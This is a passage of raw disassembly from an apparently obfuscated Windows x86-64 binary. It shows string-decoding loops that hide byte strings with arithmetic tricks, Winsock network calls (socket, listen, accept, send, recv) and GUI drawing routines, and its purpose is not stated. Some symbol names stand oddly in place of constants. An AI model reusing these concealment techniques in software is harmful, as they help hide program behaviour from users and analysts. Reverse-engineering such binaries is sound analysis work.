and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x47
mov byte [rbp + r10 + 0x430], dil
inc r10
jmp 0x1400777c3
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4d
cmp r8, 0x400
jb 0x140077bdd
movzx r11d, r10b
lea ecx, [r11 + 0x42]
movzx eax, cl
and al, r9b
mov edx, 0x19
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14007818b
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x53
cmp rbx, 3
jae 0x14007808e
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x140077faa
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
jmp 0x140077c03
lea ecx, [r10 - 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x59
lea rax, [r8 + rbx]
cmp rax, 0x28
je 0x1400780b5
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140077ed6
lea ecx, [r10 + 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x49
jmp 0x140077c46
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x430]
add rax, r8
add r10, rax
inc r10
jmp 0x1400777c3
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007829e
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140078273
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007823c
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140078239
movzx r11d, r10b
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140078217
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400777c3
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400777c3
movzx r11d, r10b
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007818b
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140077e22
lea ecx, [r10 - 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 3
jmp 0x140077c8b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140077e5c
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x430]
add rax, r8
add r10, rax
inc r10
jmp 0x1400777c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140077e80
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x14007829e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140077ea8
movzx r11d, r10b
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
jmp 0x140078217
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140077c8b
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
dec r10
inc r10
jmp 0x1400777c3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140077efe
movzx r11d, r10b
lea ecx, [r11 - 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x43
jmp 0x14007818b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140077f28
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x37
dec r10
inc r10
jmp 0x1400777c3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140077f4c
lea ecx, [r10 + 0x73]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x25
jmp 0x14007823c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140077f70
lea ecx, [r10 + 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1f
jmp 0x140078273
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140077c46
lea ecx, [r10 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
movzx eax, byte [rbp + r10 + 0x430]
add rax, r8
add r10, rax
inc r10
jmp 0x1400777c3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140077fe0
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
movzx eax, byte [rbp + r10 + 0x430]
add rax, r8
add r10, rax
inc r10
jmp 0x1400777c3
cmp rbx, rcx
jne 0x140078004
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007829e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140078030
movzx r11d, r10b
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140078217
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007805e
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400777c3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140077c03
movzx r11d, r10b
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007818b
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x430]
sub cl, al
add cl, 0x1c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140078217
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140078270
lea ecx, [r10 + 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x75
movzx eax, byte [rbp + r10 + 0x430]
add rax, r8
add r10, rax
inc r10
jmp 0x1400777c3
lea ecx, [r10 - 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x69
jmp 0x140078273
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x63
jmp 0x14007823c
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
inc r8
dec r10
inc r10
jmp 0x1400777c3
movzx r11d, r10b
lea ecx, [r11 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
jmp 0x14007818b
movzx r11d, r10b
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x39
add r11b, 0x1d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x35
add r9b, r11b
mov byte [rbp + r10 + 0x430], r9b
inc r8
dec r10
inc r10
jmp 0x1400777c3
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
inc r8
dec r10
inc r10
jmp 0x1400777c3
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2d
dec r10
inc r10
jmp 0x1400777c3
movzx r11d, r10b
lea ecx, [r11 + 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x27
sub r11b, 0x2d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x3b
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x430], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400777c3
lea rdx, [r10 + r12]
movzx r9d, r11b
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
add dil, 0x15
add dil, dl
lea edx, [r10 - 0x77]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x41
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x430], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x430], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x430]
add rax, r8
add r10, rax
inc r10
jmp 0x1400777c3
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 9
movzx eax, byte [rbp + r10 + 0x430]
add rax, r8
add r10, rax
inc r10
jmp 0x1400777c3
sub r10b, 0x39
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x71
jmp 0x1400777c0
add r10b, 0x11
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x77
jmp 0x1400777a5
lea rdi, [rbp + 0x163db54]
jmp 0x140078365
lea rdi, [rbp + 0x84cf2f]
jmp 0x140078365
lea rdi, [rbp + 0x430]
movdqa xmm0, xmmword [0x140145460]
movups xmmword [rbp + 0xd0], xmm0
lea rcx, [rbp + 0xd0]
call fcn.14000b980
mov ebx, eax
mov dword [rsp + 0x5c], 0x41200000
movss xmm11, dword [0x14014558c]
mov dword [rsp + 0x60], 0x41c80000
call fcn.14000e3a0
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
lea r9, [rsp + 0x5c]
movaps xmm2, xmm6
mov rdx, rax
mov rcx, rsi
call fcn.140021f40
mov ecx, 0x2d
call fcn.14004f560
test al, 1
je 0x1400783ed
cmp byte [reloc.WS2_32.dll_accept], r13b
sete al
mov byte [reloc.WS2_32.dll_accept], al
jmp 0x1400783f4
movzx eax, byte [reloc.WS2_32.dll_accept]
test al, al
je 0x14008f8f9
mov dword [rsp + 0x64], 0x42c80000
mov dword [rsp + 0x68], 0x42c80000
xor edx, edx
lea rcx, [rsp + 0x64]
call fcn.14001a4e0
mov dword [rsp + 0x6c], 0x442a0000
movss xmm6, dword [0x14014a0c4]
mov dword [rsp + 0x70], 0x43eb0000
xor edx, edx
lea rcx, [rsp + 0x6c]
call fcn.14001a4e0
xor edx, edx
mov r8d, 0x9b
lea rcx, [0x140149f58]
call fcn.140007160
lea rcx, [rbp + 0x640]
call fcn.14000ef60
call fcn.14000ef30
mov rbx, rax
movdqa xmm0, xmmword [0x140149b10]
movups xmmword [rbp + 0xe0], xmm0
lea rcx, [rbp + 0xe0]
call fcn.14000b980
movss xmm3, dword [rbp + 0x644]
movaps xmm1, xmm3
addss xmm1, xmm6
movss xmm2, dword [rbp + 0x640]
movaps xmm0, xmm2
addss xmm0, dword [0x14014a0cc]
movss dword [rsp + 0x7c], xmm0
movss dword [rbp - 0x80], xmm1
addss xmm3, dword [0x14014a0bc]
movss xmm8, dword [0x14014a0c0]
addss xmm2, xmm8
movss dword [rbp - 0x7c], xmm2
movss dword [rbp - 0x78], xmm3
mov dword [rsp + 0x28], 0x80
movss xmm7, dword [0x1401453ac]
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x7c]
mov rcx, rbx
call fcn.140021b20
movdqa xmm0, xmmword [0x140145440]
movups xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0xf0]
call fcn.14000b980
movss xmm1, dword [rbp + 0x644]
addss xmm1, xmm6
movss xmm0, dword [rbp + 0x640]
addss xmm0, xmm8
movss dword [rbp - 0x74], xmm0
movss dword [rbp - 0x70], xmm1
mov dword [rsp + 0x28], 0x50
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp - 0x74]
lea rdx, [rbp + 0x640]
mov rcx, rbx
call fcn.140021b20
movdqa xmm0, xmmword [0x140145450]
movups xmmword [rbp + 0x100], xmm0
lea rcx, [rbp + 0x100]
call fcn.14000b980
movss xmm3, dword [rbp + 0x644]
movaps xmm1, xmm3
addss xmm1, xmm6
movss xmm2, dword [rbp + 0x640]
movaps xmm0, xmm2
addss xmm0, dword [0x140145594]
movss dword [rbp - 0x6c], xmm0
movss dword [rbp - 0x68], xmm1
addss xmm3, xmm10
addss xmm2, xmm8
movss dword [rbp - 0x64], xmm2
movss dword [rbp - 0x60], xmm3
movss xmm12, dword [0x14014539c]
movss dword [rsp + 0x20], xmm12
mov r9d, eax
lea r8, [rbp - 0x6c]
lea rdx, [rbp - 0x64]
mov rcx, rbx
call fcn.140020a10
movdqa xmm0, xmmword [0x140145440]
movups xmmword [rbp + 0x110], xmm0
lea rcx, [rbp + 0x110]
call fcn.14000b980
movss xmm3, dword [rbp + 0x644]
movaps xmm1, xmm3
addss xmm1, dword [0x14014a0b8]
movss xmm2, dword [rbp + 0x640]
movaps xmm0, xmm2
addss xmm0, dword [0x14014a0cc]
movss dword [rbp - 0x5c], xmm0
movss dword [rbp - 0x58], xmm1
addss xmm3, xmm10
addss xmm2, xmm8
movss dword [rbp - 0x54], xmm2
movss dword [rbp - 0x50], xmm3
mov dword [rsp + 0x28], 0x20
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp - 0x5c]
lea rdx, [rbp - 0x54]
mov rcx, rbx
call fcn.140021b20
movdqa xmm0, xmmword [0x140145450]
movups xmmword [rbp + 0x74], xmm0
lea rcx, [rbp + 0x74]
call fcn.14000b980
movss xmm2, dword [rbp + 0x644]
addss xmm2, dword [0x14014a0b8]
movss xmm1, dword [rbp + 0x640]
movaps xmm0, xmm1
addss xmm0, dword [0x14014a0cc]
movss dword [rbp - 0x4c], xmm0
movss dword [rbp - 0x48], xmm2
addss xmm1, xmm8
movss dword [rbp - 0x44], xmm1
movss dword [rbp - 0x40], xmm2
movss dword [rsp + 0x20], xmm12
mov r9d, eax
lea r8, [rbp - 0x4c]
lea rdx, [rbp - 0x44]
mov rcx, rbx
call fcn.140020a10
mov dword [rbp + 0x658], 0x42480000
mov dword [rbp + 0x65c], 0x42480000
mov dword [rbp - 0x34], 0x41700000
mov dword [rbp - 0x30], 0x41c00000
lea rcx, [rbp - 0x34]
call fcn.14001a180
xorps xmm0, xmm0
movups xmmword [rbp + 0x84], xmm0
movdqa xmm1, xmmword [0x140145460]
movups xmmword [rbp + 0x94], xmm1
mov dword [rbp - 0x2c], 0x3f800000
mov dword [rbp - 0x28], 0x3f800000
mov dword [rbp - 0x24], r13d
mov dword [rbp - 0x20], r13d
lea rax, [rbp + 0x84]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x94]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x24]
lea rdx, [rbp + 0x658]
mov rcx, qword [0x1401de3a0]
call fcn.14003cd80
mov dword [rbp - 0x1c], 0x41200000
mov dword [rbp - 0x18], 0x43110000
lea rcx, [rbp - 0x1c]
call fcn.14001a180
call fcn.140009f90
cmp dword [0x1401de2cc], r13d
sete r8b
mov rdx, qword [0x1401de398]
lea rcx, [0x140149f5c]
call fcn.14003fda0
test al, al
je 0x140078796
xor eax, eax
mov dword [0x1401de2cc], eax
jmp 0x14007879c
mov eax, dword [0x1401de2cc]
cmp eax, 1
sete r8b
mov rdx, qword [0x1401de390]
lea rcx, [0x140149f60]
call fcn.14003fda0
test al, al
je 0x1400787c7
mov eax, 1
mov dword [0x1401de2cc], eax
jmp 0x1400787cd
mov eax, dword [0x1401de2cc]
cmp eax, 2
sete r8b
mov rdx, qword [0x1401de3a8]
lea rcx, [0x140149f64]
call fcn.14003fda0
test al, al
je 0x1400787f8
mov eax, 2
mov dword [0x1401de2cc], eax
jmp 0x1400787fe
mov eax, dword [0x1401de2cc]
cmp eax, 3
sete r8b
mov rdx, qword [0x1401de3b0]
lea rcx, [0x140149f68]
call fcn.14003fda0
test al, al
je 0x140078826
mov dword [0x1401de2cc], 3
call fcn.14000cf10
lea rcx, [rbp - 0x14]
call fcn.14000e2f0
movss xmm0, dword [rax]
movss xmm6, dword [0x140145374]
mulss xmm0, xmm6
subss xmm0, dword [0x140145598]
movss dword [rbp - 0xc], xmm0
mov dword [rbp - 8], 0x41700000
lea rcx, [rbp - 0xc]
call fcn.14001a180
mov rcx, qword [0x1401de370]
call fcn.1400163d0
mov byte [rbp + 0x460], 0xc3
mov byte [rbp + 0x461], WSAGetLastError
mov byte [rbp + 0x462], 0x5f
mov byte [rbp + 0x463], 0x5c
mov byte [rbp + 0x464], 0x5e
mov byte [rbp + 0x465], 0x1d
mov byte [rbp + 0x466], 0x4c
mov byte [rbp + 0x467], WSAStartup
mov byte [rbp + 0x468], 0x65
mov byte [rbp + 0x469], 0x67
mov byte [rbp + 0x46a], 0x53
mov byte [rbp + 0x46b], 0x67
mov byte [rbp + 0x46c], 0x55
mov byte [rbp + 0x46d], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x46e], 0x78
mov byte [rbp + 0x46f], reloc.WS2_32.dll_socket
mov byte [rbp + 0x470], gethostname
mov byte [rbp + 0x471], 0x7e
mov byte [rbp + 0x472], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x473], 0x77
mov byte [rbp + 0x474], 0x4e
mov byte [rbp + 0x475], 0x27
mov byte [rbp + 0x476], select
mov byte [rbp + 0x477], 0xef
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x478], xmm0
mov dword [rbp + 0x488], eax
mov word [rbp + 0x48c], ax
movabs rsi, 0xf188bff885c347f
movabs r15, 0x4b7abbfda9cd067b
movabs r14, 0x2d49a3fe99149d7d
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x2e
jae 0x1400793c2
movzx r9d, byte [rbp + r10 + 0x460]
mov rdx, r9
nop word [rax + rax]
cmp rbx, r10
ja 0x1400793b9
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400789ac
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x79
jmp 0x1400789e0
je 0x14007934b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400792ed
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140079291
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007926f
nop dword [rax]
cmp r8, r10
ja 0x1400793b0
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140078a0a
lea ecx, [r10 + 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x13
jmp 0x140078a50
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140079224
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400791ff
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400791df
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400791c3
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140079173
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140078f01
nop dword [rax]
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140078ede
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140078eb6
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140078e91
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140078e6e
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140078e4f
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140078e30
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140078e0d
lea rcx, [r8 + 4]
cmp rbx, rcx
je 0x140078dee
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140078dbd
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140078a60
mov rbx, rcx
lea r8, [rcx + 0xa]
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x140079393
lea rax, [r8 + 0x5a]
cmp rcx, rax
jb 0x140079376
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x140078bf4
lea rax, [r8 + 3]
cmp rcx, rax
jb 0x140078bd9
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x140078bbe
lea rax, [r8 + 0x41]
cmp rcx, rax
jb 0x140078d74
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x140078d28
lea rax, [r8 + 0x3e8]
cmp rcx, rax
jb 0x140078ce3
mov rbx, rax
lea r8, [rax + 0x41]
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140078cb2
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140078c93
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140078c70
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140078c51
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140078c32
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140078c0f
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x61]
jmp 0x140078a60
lea ecx, [r10 - 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4d
jmp 0x140078a50
lea ecx, [r10 - 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3f
jmp 0x1400789e0
lea ecx, [r10 - 7]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x31
jmp 0x140078977
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x1400792af
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400792d1
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400792d4
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140079191
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079306
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x460]
add rax, r8
add r10, rax
inc r10
jmp 0x140078964
lea ecx, [r10 - 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x77
cmp r8, 1
jb 0x140079124
movzx r11d, r10b
lea edx, [r11 - 0x66]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x6c]
jmp 0x140079242
lea ecx, [r10 - 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x69
cmp rbx, 0x28
jae 0x140079134
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x14007906a
lea edx, [r10 - 0x52]
movzx eax, r9b
and al, dl
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140078cf9
lea ecx, [r10 - 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5b
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x14007915c
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x140078fec
lea ecx, [r10 + 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2b
jmp 0x140078d3e
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x460]
add rax, r8
add r10, rax
inc r10
jmp 0x140078964
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079306
movzx r11d, r10b
lea edx, [r11 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079191
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400792d4
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400792d1
movzx r11d, r10b
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400792af
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140078964
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140078964
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140079242
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x140078f28
lea ecx, [r10 + 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x79
jmp 0x140078d8a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140078f62
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x460]
add rax, r8
add r10, rax
inc r10
jmp 0x140078964
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140078f8e
movzx r11d, r10b
lea edx, [r11 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079191
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140078fba
movzx r11d, r10b
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400792af
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140078d8a
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140078964
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079014
movzx r11d, r10b
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x39
jmp 0x140079242
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140079041
lea ecx, [r10 + 0x3f]
